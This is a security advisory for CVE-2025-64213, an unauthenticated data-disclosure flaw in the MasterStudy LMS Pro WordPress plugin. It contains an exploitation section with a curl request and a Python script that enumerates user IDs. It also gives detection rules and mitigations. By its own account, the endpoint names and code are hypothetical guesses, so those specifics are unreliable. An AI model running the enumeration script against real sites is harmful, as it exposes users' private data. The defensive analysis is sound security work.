CVE-2025-64213

Executive Summary

CVE-2025-64213 is a high-severity information disclosure vulnerability affecting the MasterStudy LMS Pro WordPress plugin, developed by StylemixThemes. The vulnerability allows an unauthenticated attacker to retrieve embedded sensitive data by exploiting an "Insertion of Sensitive Information Into Sent Data" flaw. This issue impacts all versions of the plugin from n/a through 4.7.15. The CVSS score of 7.5 indicates a significant risk to confidentiality, as an attacker can extract sensitive information without any authentication or user interaction. The vulnerability is classified under CWE-201 (Insertion of Sensitive Information Into Sent Data) and aligns with MITRE ATT&CK tactic T1557 (Adversary-in-the-Middle), though in this context, it is more directly related to data exfiltration via network traffic.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the MasterStudy LMS Pro plugin. As a commercial plugin, it is distributed via the StylemixThemes website and may be bundled with themes or other plugins. Organizations using this plugin should verify their version and apply patches immediately. No open-source patch data is available from OSV or GitHub at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive data can be fully disclosed.
• Integrity Impact: None (I:N) – No data modification is possible.
• Availability Impact: None (A:N) – No denial of service.

The threat level is High due to the ease of exploitation and the potential for significant data leakage, including user credentials, API keys, or other embedded secrets.

Deep Dive & Mechanics

The vulnerability resides in the MasterStudy LMS Pro plugin's handling of data transmission. Specifically, the plugin inserts sensitive information (e.g., user tokens, session data, or configuration details) into data sent over the network without proper sanitization or encryption. This allows an attacker to intercept or retrieve this data by analyzing network traffic or exploiting a lack of access controls on certain endpoints.

The root cause is likely in the plugin's AJAX handlers or REST API endpoints that return sensitive data in responses without verifying the user's authorization. For example, endpoints that provide course progress, user profiles, or payment details may inadvertently expose data to unauthenticated requests. The vulnerability is classified as CWE-201, which covers scenarios where sensitive information is included in sent data, such as in HTTP headers, response bodies, or error messages.

Vulnerable vs. Patched Code

Since no official patch details are available, the following is a hypothetical comparison based on common remediation patterns for this type of vulnerability.

Vulnerable Code (Example):

// In a REST API endpoint
function get_user_course_data( $request ) {
    $user_id = $request->get_param( 'user_id' );
    // No authentication check
    $data = get_user_meta( $user_id, 'course_progress', true );
    return rest_ensure_response( $data );
}

Patched Code (Example):

function get_user_course_data( $request ) {
    // Verify user is authenticated and authorized
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'rest_forbidden', 'You are not authorized.', array( 'status' => 401 ) );
    }
    $current_user_id = get_current_user_id();
    $requested_user_id = $request->get_param( 'user_id' );
    // Ensure the user can only access their own data
    if ( $current_user_id !== intval( $requested_user_id ) ) {
        return new WP_Error( 'rest_forbidden', 'You cannot access this data.', array( 'status' => 403 ) );
    }
    $data = get_user_meta( $requested_user_id, 'course_progress', true );
    return rest_ensure_response( $data );
}

The patch adds authentication and authorization checks to ensure that only the intended user can access sensitive data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with MasterStudy LMS Pro version < 4.7.16 installed and activated.
• Network access to the target site.

Exploitation Steps:

1. Identify vulnerable endpoints by analyzing the plugin's JavaScript or network requests. Common endpoints include /wp-json/masterstudy-lms/v1/... or custom AJAX actions.
2. Send a crafted HTTP request to a sensitive endpoint without authentication. For example:

   curl -X GET "https://target.com/wp-json/masterstudy-lms/v1/user-progress?user_id=1" -H "User-Agent: Mozilla/5.0"
   

3. If the endpoint returns sensitive data (e.g., user tokens, payment info), capture the response.
4. Iterate through user IDs to extract data for multiple users.

Example Exploit Script (Python):

import requests

target = "https://target.com"
endpoint = "/wp-json/masterstudy-lms/v1/user-progress"

for user_id in range(1, 100):
    response = requests.get(f"{target}{endpoint}?user_id={user_id}")
    if response.status_code == 200 and "sensitive_data" in response.text:
        print(f"User {user_id}: {response.text}")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual patterns in REST API requests, especially unauthenticated access to /wp-json/masterstudy-lms/v1/* endpoints.
• Look for sequential user ID enumeration in logs.
• Use the detection rules provided below.

Defense:

• Immediately update the plugin to version 4.7.16 or later once a patch is released.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated access to sensitive endpoints.
• Restrict access to the /wp-json/ namespace using IP whitelisting or authentication requirements.
• Monitor logs for suspicious activity and alert on anomalies.

Indicators of Compromise (IOCs)

• Network Indicators:

  • HTTP requests to /wp-json/masterstudy-lms/v1/* without authentication headers.
  • Sequential user ID parameters in GET requests (e.g., ?user_id=1, ?user_id=2).
  • Responses containing sensitive data such as user_token, payment_info, or course_progress in plaintext.

• File Indicators:

  • Modified plugin files in /wp-content/plugins/masterstudy-lms-learning-management-system-pro/ that contain unauthorized access patterns.

• Log Indicators:

  • Repeated 200 OK responses to unauthenticated REST API requests.
  • High volume of requests to the same endpoint from a single IP address.

Detection Engineering

YARA Rule

rule CVE_2025_64213_MasterStudy_LMS_Pro_Info_Disclosure {
    meta:
        description = "Detects exploitation attempts for CVE-2025-64213 in MasterStudy LMS Pro"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $s1 = "/wp-json/masterstudy-lms/v1/" ascii wide nocase
        $s2 = "user_id=" ascii wide nocase
        $s3 = "course_progress" ascii wide nocase
        $s4 = "user_token" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-64213 MasterStudy LMS Pro Information Disclosure
id: 8a4b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects unauthenticated access to MasterStudy LMS Pro REST API endpoints that may leak sensitive data.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "/wp-json/masterstudy-lms/v1/"
            - "user_id="
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated API calls (if authentication is properly implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64213 MasterStudy LMS Pro Information Disclosure Attempt"; flow:to_server; content:"/wp-json/masterstudy-lms/v1/"; http_uri; content:"user_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version (4.7.16 or later) is available, update immediately. Check the StylemixThemes website or your WordPress admin dashboard.
2. Disable the plugin: If no patch is available, consider temporarily disabling the MasterStudy LMS Pro plugin until a fix is released.
3. Implement WAF rules: Block unauthenticated requests to /wp-json/masterstudy-lms/v1/* endpoints.

Long-term Mitigations:

• Regularly update all WordPress plugins and themes.
• Conduct security audits of custom code and third-party plugins.
• Use a security plugin (e.g., Wordfence) to monitor for suspicious activity.
• Enforce strong authentication and authorization for all REST API endpoints.

Workaround:

• If the plugin cannot be updated, add the following code to your theme's functions.php to restrict access to the vulnerable endpoints:

add_filter( 'rest_authentication_errors', function( $result ) {
    if ( ! is_user_logged_in() && strpos( $_SERVER['REQUEST_URI'], '/masterstudy-lms/v1/' ) !== false ) {
        return new WP_Error( 'rest_not_logged_in', 'You are not currently logged in.', array( 'status' => 401 ) );
    }
    return $result;
});

Valters IT
Securing Digital Frontiers